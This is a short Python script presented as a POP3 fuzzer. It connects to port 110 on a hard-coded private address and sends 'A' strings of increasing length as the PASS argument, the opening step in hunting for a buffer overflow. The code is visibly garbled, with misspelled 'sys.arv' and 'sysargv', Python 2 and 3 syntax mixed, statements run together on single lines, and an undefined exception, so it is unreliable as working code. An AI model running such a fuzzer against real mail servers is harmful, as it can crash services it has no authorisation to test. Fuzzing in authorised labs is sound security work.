#!/usr/bin/python3
#Below is a fuzzer program written by bit-breaker:
#usage: python3 <scriptname> <target> '''
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	print("[-]Attempting to connect to target...")
	s.connect((sys.arv[1], sysargv[2])) #connects to the target
	print("[+]Connection has been established.")
	buffer = ["A"]
	counter = 100
	while len(buffer) <= 30:
		buffer.append("A"*counter)
		counter = counter + 100
	for string in buffer:
		print "Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('10.0.0.22',110))
		s.recv(1024)
		s.send('USER test\r\n')
		s.recv(1024)
		s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n')
		s.close()

except InvalidTarget:
	print("Could not connect to host. Is host up?")
